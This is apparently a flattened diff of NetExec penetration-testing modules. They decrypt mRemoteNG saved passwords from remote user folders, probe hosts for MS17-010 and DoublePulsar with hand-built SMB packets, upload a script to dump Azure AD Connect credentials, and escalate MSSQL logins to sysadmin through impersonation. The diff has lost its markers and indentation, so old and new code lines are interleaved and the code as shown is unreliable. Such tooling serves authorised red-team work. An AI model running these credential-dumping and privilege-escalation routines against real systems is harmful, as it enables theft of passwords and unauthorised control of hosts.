# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
kdf_iterations=int(main.attrib["KdfIterations"]),
block_cipher_mode=main.attrib["BlockCipherMode"],
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
continue
name = node_attribute["Name"]
hostname = node_attribute["Hostname"]
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
for node in list(main.getchildren()):
node_attributes = node.attrib
if node_attributes["Type"] == "Connection":
nodes.append(node.attrib)
elif node_attributes["Type"] == "Container":
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
new_path = ntpath.join(directory_path, item.get_longname())
if item.is_directory() > 0:
if recurse_level < recurse_max:
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
else:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
return encrypted_password
if encryption_attributes.encryption_engine == "AES":
salt = encrypted_password[:16]
associated_data = encrypted_password[:16]
nonce = encrypted_password[16:32]
ciphertext = encrypted_password[32:-16]
tag = encrypted_password[-16:]
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
if encryption_attributes.block_cipher_mode == "GCM":
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "CCM":
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "EAX":
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+404 -239
View File
@@ -1,31 +1,14 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# All credits to https://github.com/d4t4s3c/Win7Blue
# @d4t4s3c
# Module by @mpgn_x64
from ctypes import *
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
import socket
import struct
from nxc.logger import nxc_logger
class NXCModule:
name = "ms17-010"
description = "MS17-010, /!\ not tested oustide home lab"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
def on_login(self, context, connection):
if check(connection.host):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
class SMB_HEADER(Structure):
class SmbHeader(Structure):
"""SMB Header decoder."""
_pack_ = 1
@@ -47,292 +30,474 @@ class SMB_HEADER(Structure):
("multiplex_id", c_uint16),
]
def __init__(self, buffer):
nxc_logger.debug("server_component : %04x" % self.server_component)
nxc_logger.debug("smb_command : %01x" % self.smb_command)
nxc_logger.debug("error_class : %01x" % self.error_class)
nxc_logger.debug("error_code : %02x" % self.error_code)
nxc_logger.debug("flags : %01x" % self.flags)
nxc_logger.debug("flags2 : %02x" % self.flags2)
nxc_logger.debug("process_id_high : %02x" % self.process_id_high)
nxc_logger.debug("signature : %08x" % self.signature)
nxc_logger.debug("reserved2 : %02x" % self.reserved2)
nxc_logger.debug("tree_id : %02x" % self.tree_id)
nxc_logger.debug("process_id : %02x" % self.process_id)
nxc_logger.debug("user_id : %02x" % self.user_id)
nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id)
def __new__(self, buffer=None):
nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}")
return self.from_buffer_copy(buffer)
def generate_smb_proto_payload(*protos):
"""Generate SMB Protocol. Pakcet protos in order."""
hexdata = []
for proto in protos:
hexdata.extend(proto)
return "".join(hexdata)
class NXCModule:
name = "ms17-010"
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
self.logger = context.log
def on_login(self, context, connection):
try:
if self.check(connection.host):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
except ConnectionResetError as e:
context.log.debug(f"Error connecting to host when checking for MS17-010: {e!s}")
except ValueError as e:
if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
context.log.debug("Buffer size too small, which means the response was not the expected size")
def calculate_doublepulsar_xor_key(s):
"""Calaculate Doublepulsar Xor Key"""
x = 2 * s ^ (((s & 0xFF00 | (s << 16)) << 8) | (((s >> 16) | s & 0xFF0000) >> 8))
x = x & 0xFFFFFFFF
return x
def generate_smb_proto_payload(self, *protos):
"""
Flattens a nested list and merges all bytes objects into a single bytes object.
Args:
----
*protos (list): The list to flatten and merge.
Returns:
-------
bytes: The merged bytes object.
"""
self.logger.debug("generate smb proto payload")
self.logger.debug(f"Protos: {protos}")
hex_data = b""
for proto in protos:
if isinstance(proto, list):
hex_data += self.generate_smb_proto_payload(*proto)
elif isinstance(proto, bytes):
hex_data += proto
self.logger.debug(f"Packed proto data: {hex_data}")
return hex_data
def negotiate_proto_request():
"""Generate a negotiate_proto_request packet."""
netbios = ["\x00", "\x00\x00\x54"]
def calculate_doublepulsar_xor_key(self, s):
"""
Calculate Doublepulsar Xor Key.
smb_header = [
"\xFF\x53\x4D\x42",
"\x72",
"\x00\x00\x00\x00",
"\x18",
"\x01\x28",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x2F\x4B",
"\x00\x00",
"\xC5\x5E",
]
Args:
----
s (int): The input value.
negotiate_proto_request = [
"\x00",
"\x31\x00",
"\x02",
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00",
"\x02",
"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00",
"\x02",
"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00",
"\x02",
"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00",
]
return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
Returns:
-------
int: The calculated xor key.
"""
nxc_logger.debug(f"Calculating Doublepulsar XOR key for: {s}")
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
return x & 0xffffffff # truncate to 32 bits
def session_setup_andx_request():
"""Generate session setuo andx request."""
netbios = ["\x00", "\x00\x00\x63"]
smb_header = [
"\xFF\x53\x4D\x42",
"\x73",
"\x00\x00\x00\x00",
"\x18",
"\x01\x20",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x2F\x4B",
"\x00\x00",
"\xC5\x5E",
]
def negotiate_proto_request(self):
"""Generate a negotiate_proto_request packet."""
self.logger.debug("generate negotiate proto request")
session_setup_andx_request = [
"\x0D",
"\xFF",
"\x00",
"\x00\x00",
"\xDF\xFF",
"\x02\x00",
"\x01\x00",
"\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x00\x00\x00\x00",
"\x40\x00\x00\x00",
"\x26\x00",
"\x00",
"\x2e\x00",
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00",
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00",
]
# Define the NetBIOS header
netbios = [
b"\x00", # Message Type
b"\x00\x00\x54", # Length
]
return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
# Define the SMB header
smb_header = [
b"\xFF\x53\x4D\x42", # Server Component
b"\x72", # SMB Command
b"\x00\x00\x00\x00", # NT Status
b"\x18", # Flags
b"\x01\x28", # Flags2
b"\x00\x00", # Process ID High
b"\x00\x00\x00\x00\x00\x00\x00\x00", # Signature
b"\x00\x00", # Reserved
b"\x00\x00", # Tree ID
b"\x2F\x4B", # Process ID
b"\x00\x00", # User ID
b"\xC5\x5E", # Multiplex ID
]
# Define the negotiate_proto_request
negotiate_proto_request = [
b"\x00", # Word Count
b"\x31\x00", # Byte Count
b"\x02", # Requested Dialects Count
b"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", # Requested Dialects: LANMAN1.0
b"\x02", # Requested Dialects Count
b"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", # Requested Dialects: LM1.2X002
b"\x02", # Requested Dialects Count
b"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", # Requested Dialects: NT LANMAN 1.0
b"\x02", # Requested Dialects Count
b"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", # Requested Dialects: NT LM 0.12
]
# Return the generated SMB protocol payload
return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
def tree_connect_andx_request(ip, userid):
"""Generate tree connect andx request."""
def session_setup_andx_request(self):
"""Generate session setup andx request."""
self.logger.debug("generate session setup andx request"
)
# Define the NetBIOS bytes
netbios = [
b"\x00", # length
b"\x00\x00\x63", # session service
]
netbios = ["\x00", "\x00\x00\x47"]
# Define the SMB header bytes
smb_header = [
b"\xFF\x53\x4D\x42", # server component: .SMB
b"\x73", # command: Session Setup AndX
b"\x00\x00\x00\x00", # NT status
b"\x18", # flags
b"\x01\x20", # flags2
b"\x00\x00", # PID high
b"\x00\x00\x00\x00\x00\x00\x00\x00", # signature
b"\x00\x00", # reserved
b"\x00\x00", # tree id
b"\x2F\x4B", # pid
b"\x00\x00", # uid
b"\xC5\x5E", # multiplex id
]
smb_header = [
"\xFF\x53\x4D\x42",
"\x75",
"\x00\x00\x00\x00",
"\x18",
"\x01\x20",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x2F\x4B",
userid,
"\xC5\x5E",
]
# Define the session setup andx request bytes
session_setup_andx_request = [
b"\x0D", # word count
b"\xFF", # andx command: no further commands
b"\x00", # reserved
b"\x00\x00", # andx offset
b"\xDF\xFF", # max buffer
b"\x02\x00", # max mpx count
b"\x01\x00", # VC number
b"\x00\x00\x00\x00", # session key
b"\x00\x00", # ANSI password length
b"\x00\x00", # Unicode password length
b"\x00\x00\x00\x00", # reserved
b"\x40\x00\x00\x00", # capabilities
b"\x26\x00", # byte count
b"\x00", # account
b"\x2e\x00", # primary domain
b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", # Native OS: Windows 2000 2195
b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", # Native OS: Windows 2000 5.0
]
ipc = "\\\\{}\IPC$\x00".format(ip)
tree_connect_andx_request = [
"\x04",
"\xFF",
"\x00",
"\x00\x00",
"\x00\x00",
"\x01\x00",
"\x1A\x00",
"\x00",
ipc.encode(),
"\x3f\x3f\x3f\x3f\x3f\x00",
]
length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
netbios[1] = struct.pack(">L", length)[-3:]
return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
"""Generate tran2 request"""
def tree_connect_andx_request(self, ip, userid):
"""Generate tree connect andx request.
netbios = ["\x00", "\x00\x00\x4a"]
Args:
----
ip (str): The IP address.
userid (str): The user ID.
smb_header = [
"\xFF\x53\x4D\x42",
"\x25",
"\x00\x00\x00\x00",
"\x18",
"\x01\x28",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
treeid,
processid,
userid,
multiplex_id,
]
Returns:
-------
bytes: The generated tree connect andx request payload.
"""
self.logger.debug("generate tree connect andx request")
tran_request = [
"\x10",
"\x00\x00",
"\x00\x00",
"\xff\xff",
"\xff\xff",
"\x00",
"\x00",
"\x00\x00",
"\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x4a\x00",
"\x00\x00",
"\x4a\x00",
"\x02",
"\x00",
"\x23\x00",
"\x00\x00",
"\x07\x00",
"\x5c\x50\x49\x50\x45\x5c\x00",
]
# Initialize the netbios header
netbios = [
b"\x00", # 'Message_Type'
b"\x00\x00\x47" # 'Length'
]
return generate_smb_proto_payload(netbios, smb_header, tran_request)
# Initialize the SMB header
smb_header = [
b"\xFF\x53\x4D\x42", # server_compnent: .SMB
b"\x75", # smb_command: Tree Connect AndX
b"\x00\x00\x00\x00", # 'nt_status'
b"\x18", # 'flags'
b"\x01\x20", # 'flags2'
b"\x00\x00", # 'process_id_high'
b"\x00\x00\x00\x00\x00\x00\x00\x00", # 'signature'
b"\x00\x00", # 'reserved'
b"\x00\x00", # 'tree_id'
b"\x2F\x4B", # 'process_id'
userid, # 'user_id'
b"\xC5\x5E", # 'multiplex_id'
]
# Create the IPC string
ipc = f"\\\\{ip}\\IPC$\x00"
self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
# Initialize the tree connect andx request
tree_connect_andx_request = [
b"\x04", # Word Count
b"\xFF", # AndXCommand: No further commands
b"\x00", # Reserved
b"\x00\x00", # AndXOffset
b"\x00\x00", # Flags
b"\x01\x00", # Password Length
b"\x1A\x00", # Byte Count
b"\x00", # Password
ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$
b"\x3f\x3f\x3f\x3f\x3f\x00", # Service
]
# Calculate the length of the payload
length = len(b"".join(smb_header)) + len(b"".join(tree_connect_andx_request))
self.logger.debug(f"Length of payload: {length}")
# Update the length in the netbios header
netbios[1] = struct.pack(">L", length)[-3:]
self.logger.debug(f"Netbios: {netbios}")
self.logger.debug(f"SMB Header: {smb_header}")
self.logger.debug(f"Tree Connect AndX Request: {tree_connect_andx_request}")
# Generate the final SMB protocol payload
return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
def trans2_request(treeid, processid, userid, multiplex_id):
"""Generate trans2 request."""
def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id):
"""
Generate tran2 request.
netbios = ["\x00", "\x00\x00\x4f"]
Args:
----
treeid (str): The tree ID.
processid (str): The process ID.
userid (str): The user ID.
multiplex_id (str): The multiplex ID.
smb_header = [
"\xFF\x53\x4D\x42",
"\x32",
"\x00\x00\x00\x00",
"\x18",
"\x07\xc0",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
treeid,
processid,
userid,
multiplex_id,
]
Returns:
-------
str: The generated SMB protocol payload.
"""
self.logger.debug("generate peeknamedpipe request")
trans2_request = [
"\x0f",
"\x0c\x00",
"\x00\x00",
"\x01\x00",
"\x00\x00",
"\x00",
"\x00",
"\x00\x00",
"\xa6\xd9\xa4\x00",
"\x00\x00",
"\x0c\x00",
"\x42\x00",
"\x00\x00",
"\x4e\x00",
"\x01",
"\x00",
"\x0e\x00",
"\x00\x00",
"\x0c\x00" + "\x00" * 12,
]
# Set the necessary values for the netbios header
netbios = [
b"\x00", # message type
b"\x00\x00\x4a" # length
]
return generate_smb_proto_payload(netbios, smb_header, trans2_request)
# Set the values for the SMB header
smb_header = [
b"\xFF\x53\x4D\x42", # Server Component: .SMB
b"\x25", # SMB Command: Trans2
b"\x00\x00\x00\x00", # NT Status
b"\x18", # flags
b"\x01\x28", # flags2
b"\x00\x00", # pid high
b"\x00\x00\x00\x00\x00\x00\x00\x00", # sig
b"\x00\x00", # Reserved
treeid, # Tree ID
processid, # Process ID
userid, # User ID
multiplex_id, # Multiplex ID
]
# Set the values for the transaction request
tran_request = [
b"\x10", # Word Count
b"\x00\x00", # Total Parameter Count
b"\x00\x00", # Total Data Count
b"\xff\xff", # Max Parameter Count
b"\xff\xff", # Max Data Count
b"\x00", # Max Setup Count
b"\x00", # Reserved
b"\x00\x00", # Flags
b"\x00\x00\x00\x00", # Timeout
b"\x00\x00", # Reserved
b"\x00\x00", # Parameter Count
b"\x4a\x00", # Parameter Offset
b"\x00\x00", # Data Count
b"\x4a\x00", # Data Offset
b"\x02", # Setup Count
b"\x00", # Reserved
b"\x23\x00", # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023)
b"\x00\x00", # SMB Pipe Protocol: FID
b"\x07\x00",
b"\x5c\x50\x49\x50\x45\x5c\x00", # \PIPE\
]
return self.generate_smb_proto_payload(netbios, smb_header, tran_request)
def check(ip, port=445):
"""Check if MS17_010 SMB Vulnerability exists."""
try:
def trans2_request(self, treeid, processid, userid, multiplex_id):
"""Generate trans2 request.
Args:
----
treeid: The treeid parameter.
processid: The processid parameter.
userid: The userid parameter.
multiplex_id: The multiplex_id parameter.
Returns:
-------
The generated SMB protocol payload.
"""
self.logger.debug("generate trans2 request")
# Define the netbios section of the SMB request
netbios = [
b"\x00",
b"\x00\x00\x4f"
]
# Define the SMB header section of the SMB request
smb_header = [
b"\xFF\x53\x4D\x42", # 'server_component': .SMB
b"\x32", # 'smb_command': Trans2
b"\x00\x00\x00\x00",
b"\x18",
b"\x07\xc0",
b"\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x00",
treeid,
processid,
userid,
multiplex_id,
]
# Define the trans2 request section of the SMB request
trans2_request = [
b"\x0f",
b"\x0c\x00",
b"\x00\x00",
b"\x01\x00",
b"\x00\x00",
b"\x00",
b"\x00",
b"\x00\x00",
b"\xa6\xd9\xa4\x00", # Timeout: 3 hours, 3.622 seconds
b"\x00\x00",
b"\x0c\x00",
b"\x42\x00",
b"\x00\x00",
b"\x4e\x00",
b"\x01",
b"\x00",
b"\x0e\x00", # subcommand: SESSION_SETUP
b"\x00\x00",
b"\x0c\x00" + b"\x00" * 12,
]
return self.generate_smb_proto_payload(netbios, smb_header, trans2_request)
def check(self, ip, port=445):
"""Check if MS17_010 SMB Vulnerability exists.
Args:
----
ip (str): The IP address of the target machine.
port (int, optional): The port number to connect to. Defaults to 445.
Returns:
-------
bool: True if the vulnerability exists, False otherwise.
"""
buffersize = 1024
timeout = 5.0
# Send smb request based on socket.
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(timeout)
client.connect((ip, port))
raw_proto = negotiate_proto_request()
# SMB - Negotiate Protocol Request
raw_proto = self.negotiate_proto_request()
client.send(raw_proto)
tcp_response = client.recv(buffersize)
raw_proto = session_setup_andx_request()
# SMB - Session Setup AndX Request
raw_proto = self.session_setup_andx_request()
client.send(raw_proto)
tcp_response = client.recv(buffersize)
netbios = tcp_response[:4]
smb_header = tcp_response[4:36]
smb = SMB_HEADER(smb_header)
tcp_response[:4]
smb_header = tcp_response[4:36] # SMB Header: 32 bytes
smb = SmbHeader(smb_header)
user_id = struct.pack("<H", smb.user_id)
# parse native_os from Session Setup Andx Response
session_setup_andx_response = tcp_response[36:]
native_os = session_setup_andx_response[9:].split("\x00")[0]
native_os = session_setup_andx_response[9:].split(b"\x00")[0]
raw_proto = tree_connect_andx_request(ip, user_id)
# SMB - Tree Connect AndX Request
raw_proto = self.tree_connect_andx_request(ip, user_id)
client.send(raw_proto)
tcp_response = client.recv(buffersize)
netbios = tcp_response[:4]
smb_header = tcp_response[4:36]
smb = SMB_HEADER(smb_header)
tcp_response[:4]
smb_header = tcp_response[4:36] # SMB Header: 32 bytes
smb = SmbHeader(smb_header)
tree_id = struct.pack("<H", smb.tree_id)
process_id = struct.pack("<H", smb.process_id)
user_id = struct.pack("<H", smb.user_id)
multiplex_id = struct.pack("<H", smb.multiplex_id)
raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
# SMB - PeekNamedPipe Request
raw_proto = self.peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
client.send(raw_proto)
tcp_response = client.recv(buffersize)
netbios = tcp_response[:4]
tcp_response[:4]
smb_header = tcp_response[4:36]
smb = SMB_HEADER(smb_header)
smb = SmbHeader(smb_header)
nt_status = struct.pack("BBH", smb.error_class, smb.reserved1, smb.error_code)
self.logger.debug(f"NT Status: {nt_status}")
if nt_status == "\x05\x02\x00\xc0":
return True
elif nt_status in ("\x08\x00\x00\xc0", "\x22\x00\x00\xc0"):
return False
# 0xC0000205 - STATUS_INSUFF_SERVER_RESOURCES - vulnerable
# 0xC0000008 - STATUS_INVALID_HANDLE
# 0xC0000022 - STATUS_ACCESS_DENIED
if nt_status == b"\x05\x02\x00\xc0":
self.logger.highlight(f"[+] {ip} is likely VULNERABLE to MS17-010! ({native_os.decode()})")
# vulnerable to MS17-010, check for DoublePulsar infection
raw_proto = self.trans2_request(tree_id, process_id, user_id, multiplex_id)
client.send(raw_proto)
tcp_response = client.recv(buffersize)
tcp_response[:4]
smb_header = tcp_response[4:36]
smb = SmbHeader(smb_header)
if smb.multiplex_id == 0x0051:
key = self.calculate_doublepulsar_xor_key(smb.signature)
self.logger.highlight(f"Host is likely INFECTED with DoublePulsar! - XOR Key: {key.decode()}")
elif nt_status in (b"\x08\x00\x00\xc0", b"\x22\x00\x00\xc0"):
self.logger.fail(f"{ip} does NOT appear vulnerable")
else:
return False
self.logger.fail(f"{ip} Unable to detect if this host is vulnerable")
except Exception as err:
return False
finally:
client.close()
+16 -11
View File
@@ -3,6 +3,7 @@
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
from os import path
from nxc.paths import TMP_PATH
from nxc.helpers.powershell import get_ps_script
@@ -27,9 +28,7 @@ class NXCModule:
self.module_options = module_options
def options(self, context, module_options):
"""
MSOL_PS1 // Path to the msol binary on your computer
"""
"""MSOL_PS1 // Path to the msol binary on your computer"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
@@ -37,7 +36,7 @@ class NXCModule:
self.use_embedded = True
self.msolmdl = self.cmd = ""
with open(get_ps_script("msol_dump/msol_dump.ps1"), "r") as msolsc:
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
self.msol_embedded = msolsc.read()
if "MSOL_PS1" in module_options:
@@ -50,9 +49,15 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = "/tmp/msol.ps1"
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
file_to_upload = f"{TMP_PATH}/msol.ps1"
try:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
exit(1)
else:
if path.isfile(self.MSOL_PS1):
file_to_upload = self.MSOL_PS1
@@ -64,25 +69,25 @@ class NXCModule:
with open(file_to_upload, "rb") as msol:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
context.log.success(f"Msol script successfully uploaded")
context.log.success("Msol script successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
if self.cmd == "":
context.log.display(f"Executing the script")
context.log.display("Executing the script")
p = self.exec_script(context, connection)
for line in p.splitlines():
p1, p2 = line.split(" ", 1)
context.log.highlight(f"{p1} {p2}")
else:
context.log.fail(f"Script Execution Impossible")
context.log.fail("Script Execution Impossible")
except Exception as e:
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
context.log.success(f"Msol script successfully deleted")
context.log.success("Msol script successfully deleted")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
+248 -79
View File
@@ -1,9 +1,5 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:
# Romain de Reydellet (@pentest_soka)
from nxc.helpers.logger import highlight
@@ -22,9 +18,7 @@ class User:
class NXCModule:
"""
Enumerate MSSQL privileges and exploit them
"""
"""Enumerate MSSQL privileges and exploit them"""
name = "mssql_priv"
description = "Enumerate and exploit MSSQL privileges"
@@ -48,12 +42,12 @@ class NXCModule:
- rollback (remove sysadmin privilege)
"""
self.action = None
self.context = context
if "ACTION" in module_options:
self.action = module_options["ACTION"]
def on_login(self, context, connection):
self.context = context
# get mssql connection
self.mssql_conn = connection.conn
# fetch the current user
@@ -92,9 +86,20 @@ class NXCModule:
elif target_user.dbowner:
self.do_dbowner_privesc(target_user.dbowner, exec_as)
if self.is_admin_user(self.current_username):
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight("({})".format(self.context.conf.get("nxc", "pwn3d_label"))))
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight(f"({self.context.conf.get('nxc', 'pwn3d_label')})"))
def build_exec_as_from_path(self, target_user):
"""
Builds an 'exec_as' path based on the given target user.
Args:
----
target_user (User): The target user for building the 'exec_as' path.
Returns:
-------
str: The 'exec_as' path built from the target user's username and its parent usernames.
"""
path = [target_user.username]
parent = target_user.parent
while parent:
@@ -105,6 +110,19 @@ class NXCModule:
return self.sql_exec_as(reversed(path))
def browse_path(self, context, initial_user: User, user: User) -> User:
"""
Browse the path of user impersonation.
Parameters
----------
context (Context): The context of the function.
initial_user (User): The initial user.
user (User): The user to browse the path for.
Returns
-------
User: The user that can be impersonated.
"""
if initial_user.is_sysadmin:
self.context.log.success(f"{initial_user.username} is sysadmin")
return initial_user
@@ -113,7 +131,7 @@ class NXCModule:
return initial_user
for grantor in user.grantors:
if grantor.is_sysadmin:
self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)")
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (sysadmin)")
return grantor
elif grantor.dbowner:
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)")
@@ -123,23 +141,50 @@ class NXCModule:
return self.browse_path(context, initial_user, grantor)
def query_and_get_output(self, query):
# try:
results = self.mssql_conn.sql_query(query)
# self.mssql_conn.printRows()
# query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
# query_output = results.strip("\n-")
return results
# except Exception as e:
# return False
return self.mssql_conn.sql_query(query)
def sql_exec_as(self, grantors: list) -> str:
exec_as = []
for grantor in grantors:
exec_as.append(f"EXECUTE AS LOGIN = '{grantor}';")
"""
Generates an SQL statement to execute a command using the specified list of grantors.
Parameters
----------
grantors (list): A list of grantors, each representing a login.
Returns
-------
str: The SQL statement to execute the command using the grantors.
"""
exec_as = [f"EXECUTE AS LOGIN = '{grantor}';" for grantor in grantors]
return "".join(exec_as)
def perform_impersonation_check(self, user: User, grantors=[]):
def perform_impersonation_check(self, user: User, grantors=None):
"""
Performs an impersonation check for a given user.
Args:
----
user (User): The user for whom the impersonation check is being performed.
grantors (list): A list of grantors. Default is an empty list.
Returns:
-------
None
Description:
This function checks if the user has the necessary privileges to perform impersonation.
If the user has the necessary privileges, the function returns without performing any further checks.
If the user does not have the necessary privileges, the function retrieves a list of grantors
who can impersonate the user and performs the same impersonation check on each grantor recursively.
If a new grantor is found, it is added to the list of grantors and the impersonation check is performed on it.
Example Usage:
perform_impersonation_check(user, grantors=['admin', 'manager'])
"""
# build EXECUTE AS if any grantors is specified
if grantors is None:
grantors = []
exec_as = self.sql_exec_as(grantors)
# do we have any privilege ?
if self.update_priv(user, exec_as):
@@ -160,6 +205,18 @@ class NXCModule:
self.perform_impersonation_check(new_user, grantors)
def update_priv(self, user: User, exec_as=""):
"""
Update the privileges of a user.
Args:
----
user (User): The user whose privileges need to be updated.
exec_as (str): The username of the user executing the function.
Returns:
-------
bool: True if the user is an admin user and their privileges are updated successfully, False otherwise.
"""
if self.is_admin_user(user.username):
user.is_sysadmin = True
return True
@@ -167,96 +224,176 @@ class NXCModule:
return user.dbowner
def get_current_username(self) -> str:
"""
Retrieves the current username.
:param self: The instance of the class.
:return: The current username as a string.
